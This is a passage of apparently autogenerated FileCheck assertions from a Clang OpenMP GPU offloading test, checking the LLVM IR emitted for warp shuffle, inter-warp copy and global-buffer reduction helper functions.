// CHECK1-NEXT: [[IS_ACTIVE_THREAD9:%.*]] = icmp ult i32 [[TMP3]], [[TMP25]] // CHECK1-NEXT: br i1 [[IS_ACTIVE_THREAD9]], label [[THEN10:%.*]], label [[ELSE11:%.*]] // CHECK1: then10: // CHECK1-NEXT: [[TMP26:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[TMP3]] // CHECK1-NEXT: [[TMP27:%.*]] = bitcast i32 addrspace(3)* [[TMP26]] to i16 addrspace(3)* // CHECK1-NEXT: [[TMP28:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i64 0, i64 1 // CHECK1-NEXT: [[TMP29:%.*]] = load i8*, i8** [[TMP28]], align 8 // CHECK1-NEXT: [[TMP30:%.*]] = bitcast i8* [[TMP29]] to i16* // CHECK1-NEXT: [[TMP31:%.*]] = load volatile i16, i16 addrspace(3)* [[TMP27]], align 2 // CHECK1-NEXT: store i16 [[TMP31]], i16* [[TMP30]], align 2 // CHECK1-NEXT: br label [[IFCONT12:%.*]] // CHECK1: else11: // CHECK1-NEXT: br label [[IFCONT12]] // CHECK1: ifcont12: // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func15 // CHECK1-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR2]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK1-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK1-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK1-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [2 x i8*], align 8 // CHECK1-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[DOTOMP_REDUCTION_ELEMENT4:%.*]] = alloca i16, align 2 // CHECK1-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 8 // CHECK1-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK1-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK1-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK1-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 8 // CHECK1-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [2 x i8*]* // CHECK1-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK1-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK1-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK1-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i64 0, i64 0 // CHECK1-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 8 // CHECK1-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i64 0, i64 0 // CHECK1-NEXT: [[TMP12:%.*]] = bitcast i8* [[TMP10]] to i32* // CHECK1-NEXT: [[TMP13:%.*]] = getelementptr i32, i32* [[TMP12]], i64 1 // CHECK1-NEXT: [[TMP14:%.*]] = bitcast i32* [[TMP13]] to i8* // CHECK1-NEXT: [[TMP15:%.*]] = load i32, i32* [[TMP12]], align 4 // CHECK1-NEXT: [[TMP16:%.*]] = call i32 @__kmpc_get_warp_size() // CHECK1-NEXT: [[TMP17:%.*]] = trunc i32 [[TMP16]] to i16 // CHECK1-NEXT: [[TMP18:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP15]], i16 [[TMP7]], i16 [[TMP17]]) // CHECK1-NEXT: store i32 [[TMP18]], i32* [[DOTOMP_REDUCTION_ELEMENT]], align 4 // CHECK1-NEXT: [[TMP19:%.*]] = getelementptr i32, i32* [[TMP12]], i64 1 // CHECK1-NEXT: [[TMP20:%.*]] = getelementptr i32, i32* [[DOTOMP_REDUCTION_ELEMENT]], i64 1 // CHECK1-NEXT: [[TMP21:%.*]] = bitcast i32* [[DOTOMP_REDUCTION_ELEMENT]] to i8* // CHECK1-NEXT: store i8* [[TMP21]], i8** [[TMP11]], align 8 // CHECK1-NEXT: [[TMP22:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i64 0, i64 1 // CHECK1-NEXT: [[TMP23:%.*]] = load i8*, i8** [[TMP22]], align 8 // CHECK1-NEXT: [[TMP24:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i64 0, i64 1 // CHECK1-NEXT: [[TMP25:%.*]] = bitcast i8* [[TMP23]] to i16* // CHECK1-NEXT: [[TMP26:%.*]] = getelementptr i16, i16* [[TMP25]], i64 1 // CHECK1-NEXT: [[TMP27:%.*]] = bitcast i16* [[TMP26]] to i8* // CHECK1-NEXT: [[TMP28:%.*]] = load i16, i16* [[TMP25]], align 2 // CHECK1-NEXT: [[TMP29:%.*]] = sext i16 [[TMP28]] to i32 // CHECK1-NEXT: [[TMP30:%.*]] = call i32 @__kmpc_get_warp_size() // CHECK1-NEXT: [[TMP31:%.*]] = trunc i32 [[TMP30]] to i16 // CHECK1-NEXT: [[TMP32:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP29]], i16 [[TMP7]], i16 [[TMP31]]) // CHECK1-NEXT: [[TMP33:%.*]] = trunc i32 [[TMP32]] to i16 // CHECK1-NEXT: store i16 [[TMP33]], i16* [[DOTOMP_REDUCTION_ELEMENT4]], align 2 // CHECK1-NEXT: [[TMP34:%.*]] = getelementptr i16, i16* [[TMP25]], i64 1 // CHECK1-NEXT: [[TMP35:%.*]] = getelementptr i16, i16* [[DOTOMP_REDUCTION_ELEMENT4]], i64 1 // CHECK1-NEXT: [[TMP36:%.*]] = bitcast i16* [[DOTOMP_REDUCTION_ELEMENT4]] to i8* // CHECK1-NEXT: store i8* [[TMP36]], i8** [[TMP24]], align 8 // CHECK1-NEXT: [[TMP37:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK1-NEXT: [[TMP38:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK1-NEXT: [[TMP39:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK1-NEXT: [[TMP40:%.*]] = and i1 [[TMP38]], [[TMP39]] // CHECK1-NEXT: [[TMP41:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK1-NEXT: [[TMP42:%.*]] = and i16 [[TMP6]], 1 // CHECK1-NEXT: [[TMP43:%.*]] = icmp eq i16 [[TMP42]], 0 // CHECK1-NEXT: [[TMP44:%.*]] = and i1 [[TMP41]], [[TMP43]] // CHECK1-NEXT: [[TMP45:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK1-NEXT: [[TMP46:%.*]] = and i1 [[TMP44]], [[TMP45]] // CHECK1-NEXT: [[TMP47:%.*]] = or i1 [[TMP37]], [[TMP40]] // CHECK1-NEXT: [[TMP48:%.*]] = or i1 [[TMP47]], [[TMP46]] // CHECK1-NEXT: br i1 [[TMP48]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK1: then: // CHECK1-NEXT: [[TMP49:%.*]] = bitcast [2 x i8*]* [[TMP5]] to i8* // CHECK1-NEXT: [[TMP50:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK1-NEXT: call void @"_omp$reduction$reduction_func14"(i8* [[TMP49]], i8* [[TMP50]]) #[[ATTR3]] // CHECK1-NEXT: br label [[IFCONT:%.*]] // CHECK1: else: // CHECK1-NEXT: br label [[IFCONT]] // CHECK1: ifcont: // CHECK1-NEXT: [[TMP51:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK1-NEXT: [[TMP52:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK1-NEXT: [[TMP53:%.*]] = and i1 [[TMP51]], [[TMP52]] // CHECK1-NEXT: br i1 [[TMP53]], label [[THEN5:%.*]], label [[ELSE6:%.*]] // CHECK1: then5: // CHECK1-NEXT: [[TMP54:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i64 0, i64 0 // CHECK1-NEXT: [[TMP55:%.*]] = load i8*, i8** [[TMP54]], align 8 // CHECK1-NEXT: [[TMP56:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i64 0, i64 0 // CHECK1-NEXT: [[TMP57:%.*]] = load i8*, i8** [[TMP56]], align 8 // CHECK1-NEXT: [[TMP58:%.*]] = bitcast i8* [[TMP55]] to i32* // CHECK1-NEXT: [[TMP59:%.*]] = bitcast i8* [[TMP57]] to i32* // CHECK1-NEXT: [[TMP60:%.*]] = load i32, i32* [[TMP58]], align 4 // CHECK1-NEXT: store i32 [[TMP60]], i32* [[TMP59]], align 4 // CHECK1-NEXT: [[TMP61:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i64 0, i64 1 // CHECK1-NEXT: [[TMP62:%.*]] = load i8*, i8** [[TMP61]], align 8 // CHECK1-NEXT: [[TMP63:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i64 0, i64 1 // CHECK1-NEXT: [[TMP64:%.*]] = load i8*, i8** [[TMP63]], align 8 // CHECK1-NEXT: [[TMP65:%.*]] = bitcast i8* [[TMP62]] to i16* // CHECK1-NEXT: [[TMP66:%.*]] = bitcast i8* [[TMP64]] to i16* // CHECK1-NEXT: [[TMP67:%.*]] = load i16, i16* [[TMP65]], align 2 // CHECK1-NEXT: store i16 [[TMP67]], i16* [[TMP66]], align 2 // CHECK1-NEXT: br label [[IFCONT7:%.*]] // CHECK1: else6: // CHECK1-NEXT: br label [[IFCONT7]] // CHECK1: ifcont7: // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func16 // CHECK1-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR2]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB3]]) // CHECK1-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 8 // CHECK1-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: [[TMP3:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK1-NEXT: [[TMP4:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK1-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[TMP4]], 31 // CHECK1-NEXT: [[TMP5:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK1-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[TMP5]], 5 // CHECK1-NEXT: [[TMP6:%.*]] = load i8*, i8** [[DOTADDR]], align 8 // CHECK1-NEXT: [[TMP7:%.*]] = bitcast i8* [[TMP6]] to [2 x i8*]* // CHECK1-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK1-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK1-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK1: then: // CHECK1-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i64 0, i64 0 // CHECK1-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 8 // CHECK1-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to i32* // CHECK1-NEXT: [[TMP11:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK1-NEXT: [[TMP12:%.*]] = load i32, i32* [[TMP10]], align 4 // CHECK1-NEXT: store volatile i32 [[TMP12]], i32 addrspace(3)* [[TMP11]], align 4 // CHECK1-NEXT: br label [[IFCONT:%.*]] // CHECK1: else: // CHECK1-NEXT: br label [[IFCONT]] // CHECK1: ifcont: // CHECK1-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK1-NEXT: [[TMP13:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[TMP3]], [[TMP13]] // CHECK1-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN2:%.*]], label [[ELSE3:%.*]] // CHECK1: then2: // CHECK1-NEXT: [[TMP14:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[TMP3]] // CHECK1-NEXT: [[TMP15:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i64 0, i64 0 // CHECK1-NEXT: [[TMP16:%.*]] = load i8*, i8** [[TMP15]], align 8 // CHECK1-NEXT: [[TMP17:%.*]] = bitcast i8* [[TMP16]] to i32* // CHECK1-NEXT: [[TMP18:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP14]], align 4 // CHECK1-NEXT: store i32 [[TMP18]], i32* [[TMP17]], align 4 // CHECK1-NEXT: br label [[IFCONT4:%.*]] // CHECK1: else3: // CHECK1-NEXT: br label [[IFCONT4]] // CHECK1: ifcont4: // CHECK1-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK1-NEXT: [[WARP_MASTER5:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK1-NEXT: br i1 [[WARP_MASTER5]], label [[THEN6:%.*]], label [[ELSE7:%.*]] // CHECK1: then6: // CHECK1-NEXT: [[TMP19:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i64 0, i64 1 // CHECK1-NEXT: [[TMP20:%.*]] = load i8*, i8** [[TMP19]], align 8 // CHECK1-NEXT: [[TMP21:%.*]] = bitcast i8* [[TMP20]] to i16* // CHECK1-NEXT: [[TMP22:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK1-NEXT: [[TMP23:%.*]] = bitcast i32 addrspace(3)* [[TMP22]] to i16 addrspace(3)* // CHECK1-NEXT: [[TMP24:%.*]] = load i16, i16* [[TMP21]], align 2 // CHECK1-NEXT: store volatile i16 [[TMP24]], i16 addrspace(3)* [[TMP23]], align 2 // CHECK1-NEXT: br label [[IFCONT8:%.*]] // CHECK1: else7: // CHECK1-NEXT: br label [[IFCONT8]] // CHECK1: ifcont8: // CHECK1-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK1-NEXT: [[TMP25:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: [[IS_ACTIVE_THREAD9:%.*]] = icmp ult i32 [[TMP3]], [[TMP25]] // CHECK1-NEXT: br i1 [[IS_ACTIVE_THREAD9]], label [[THEN10:%.*]], label [[ELSE11:%.*]] // CHECK1: then10: // CHECK1-NEXT: [[TMP26:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[TMP3]] // CHECK1-NEXT: [[TMP27:%.*]] = bitcast i32 addrspace(3)* [[TMP26]] to i16 addrspace(3)* // CHECK1-NEXT: [[TMP28:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i64 0, i64 1 // CHECK1-NEXT: [[TMP29:%.*]] = load i8*, i8** [[TMP28]], align 8 // CHECK1-NEXT: [[TMP30:%.*]] = bitcast i8* [[TMP29]] to i16* // CHECK1-NEXT: [[TMP31:%.*]] = load volatile i16, i16 addrspace(3)* [[TMP27]], align 2 // CHECK1-NEXT: store i16 [[TMP31]], i16* [[TMP30]], align 2 // CHECK1-NEXT: br label [[IFCONT12:%.*]] // CHECK1: else11: // CHECK1-NEXT: br label [[IFCONT12]] // CHECK1: ifcont12: // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_copy_func17 // CHECK1-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 8 // CHECK1-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK1-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 8 // CHECK1-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.1* // CHECK1-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i64 0, i64 0 // CHECK1-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 8 // CHECK1-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to i32* // CHECK1-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1:%.*]], %struct._globalized_locals_ty.1* [[TMP6]], i32 0, i32 0 // CHECK1-NEXT: [[TMP11:%.*]] = getelementptr inbounds [1024 x i32], [1024 x i32]* [[A]], i32 0, i32 [[TMP7]] // CHECK1-NEXT: [[TMP12:%.*]] = load i32, i32* [[TMP10]], align 4 // CHECK1-NEXT: store i32 [[TMP12]], i32* [[TMP11]], align 128 // CHECK1-NEXT: [[TMP13:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i64 0, i64 1 // CHECK1-NEXT: [[TMP14:%.*]] = load i8*, i8** [[TMP13]], align 8 // CHECK1-NEXT: [[TMP15:%.*]] = bitcast i8* [[TMP14]] to i16* // CHECK1-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1]], %struct._globalized_locals_ty.1* [[TMP6]], i32 0, i32 1 // CHECK1-NEXT: [[TMP16:%.*]] = getelementptr inbounds [1024 x i16], [1024 x i16]* [[B]], i32 0, i32 [[TMP7]] // CHECK1-NEXT: [[TMP17:%.*]] = load i16, i16* [[TMP15]], align 2 // CHECK1-NEXT: store i16 [[TMP17]], i16* [[TMP16]], align 128 // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_reduce_func18 // CHECK1-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 8 // CHECK1-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 8 // CHECK1-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 8 // CHECK1-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.1* // CHECK1-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i64 0, i64 0 // CHECK1-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1:%.*]], %struct._globalized_locals_ty.1* [[TMP4]], i32 0, i32 0 // CHECK1-NEXT: [[TMP7:%.*]] = getelementptr inbounds [1024 x i32], [1024 x i32]* [[A]], i32 0, i32 [[TMP5]] // CHECK1-NEXT: [[TMP8:%.*]] = bitcast i32* [[TMP7]] to i8* // CHECK1-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 8 // CHECK1-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i64 0, i64 1 // CHECK1-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1]], %struct._globalized_locals_ty.1* [[TMP4]], i32 0, i32 1 // CHECK1-NEXT: [[TMP10:%.*]] = getelementptr inbounds [1024 x i16], [1024 x i16]* [[B]], i32 0, i32 [[TMP5]] // CHECK1-NEXT: [[TMP11:%.*]] = bitcast i16* [[TMP10]] to i8* // CHECK1-NEXT: store i8* [[TMP11]], i8** [[TMP9]], align 8 // CHECK1-NEXT: [[TMP12:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK1-NEXT: [[TMP13:%.*]] = load i8*, i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: call void @"_omp$reduction$reduction_func14"(i8* [[TMP12]], i8* [[TMP13]]) #[[ATTR3]] // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_copy_func19 // CHECK1-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 8 // CHECK1-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK1-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 8 // CHECK1-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.1* // CHECK1-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i64 0, i64 0 // CHECK1-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 8 // CHECK1-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to i32* // CHECK1-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1:%.*]], %struct._globalized_locals_ty.1* [[TMP6]], i32 0, i32 0 // CHECK1-NEXT: [[TMP11:%.*]] = getelementptr inbounds [1024 x i32], [1024 x i32]* [[A]], i32 0, i32 [[TMP7]] // CHECK1-NEXT: [[TMP12:%.*]] = load i32, i32* [[TMP11]], align 128 // CHECK1-NEXT: store i32 [[TMP12]], i32* [[TMP10]], align 4 // CHECK1-NEXT: [[TMP13:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i64 0, i64 1 // CHECK1-NEXT: [[TMP14:%.*]] = load i8*, i8** [[TMP13]], align 8 // CHECK1-NEXT: [[TMP15:%.*]] = bitcast i8* [[TMP14]] to i16* // CHECK1-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1]], %struct._globalized_locals_ty.1* [[TMP6]], i32 0, i32 1 // CHECK1-NEXT: [[TMP16:%.*]] = getelementptr inbounds [1024 x i16], [1024 x i16]* [[B]], i32 0, i32 [[TMP7]] // CHECK1-NEXT: [[TMP17:%.*]] = load i16, i16* [[TMP16]], align 128 // CHECK1-NEXT: store i16 [[TMP17]], i16* [[TMP15]], align 2 // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_reduce_func20 // CHECK1-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 8 // CHECK1-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 8 // CHECK1-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 8 // CHECK1-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.1* // CHECK1-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i64 0, i64 0 // CHECK1-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1:%.*]], %struct._globalized_locals_ty.1* [[TMP4]], i32 0, i32 0 // CHECK1-NEXT: [[TMP7:%.*]] = getelementptr inbounds [1024 x i32], [1024 x i32]* [[A]], i32 0, i32 [[TMP5]] // CHECK1-NEXT: [[TMP8:%.*]] = bitcast i32* [[TMP7]] to i8* // CHECK1-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 8 // CHECK1-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i64 0, i64 1 // CHECK1-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1]], %struct._globalized_locals_ty.1* [[TMP4]], i32 0, i32 1 // CHECK1-NEXT: [[TMP10:%.*]] = getelementptr inbounds [1024 x i16], [1024 x i16]* [[B]], i32 0, i32 [[TMP5]] // CHECK1-NEXT: [[TMP11:%.*]] = bitcast i16* [[TMP10]] to i8* // CHECK1-NEXT: store i8* [[TMP11]], i8** [[TMP9]], align 8 // CHECK1-NEXT: [[TMP12:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK1-NEXT: [[TMP13:%.*]] = load i8*, i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: call void @"_omp$reduction$reduction_func14"(i8* [[TMP13]], i8* [[TMP12]]) #[[ATTR3]] // CHECK1-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l20 // CHECK2-SAME: (double* nonnull align 8 dereferenceable(8) [[E:%.*]]) #[[ATTR0:[0-9]+]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[E_ADDR:%.*]] = alloca double*, align 4 // CHECK2-NEXT: [[E1:%.*]] = alloca double, align 8 // CHECK2-NEXT: [[DOTZERO_ADDR:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[DOTTHREADID_TEMP_:%.*]] = alloca i32, align 4 // CHECK2-NEXT: store double* [[E]], double** [[E_ADDR]], align 4 // CHECK2-NEXT: [[TMP0:%.*]] = load double*, double** [[E_ADDR]], align 4 // CHECK2-NEXT: [[TMP1:%.*]] = call i32 @__kmpc_target_init(%struct.ident_t* @[[GLOB1:[0-9]+]], i8 1, i1 true, i1 true) // CHECK2-NEXT: [[EXEC_USER_CODE:%.*]] = icmp eq i32 [[TMP1]], -1 // CHECK2-NEXT: br i1 [[EXEC_USER_CODE]], label [[USER_CODE_ENTRY:%.*]], label [[WORKER_EXIT:%.*]] // CHECK2: user_code.entry: // CHECK2-NEXT: [[TMP2:%.*]] = call i32 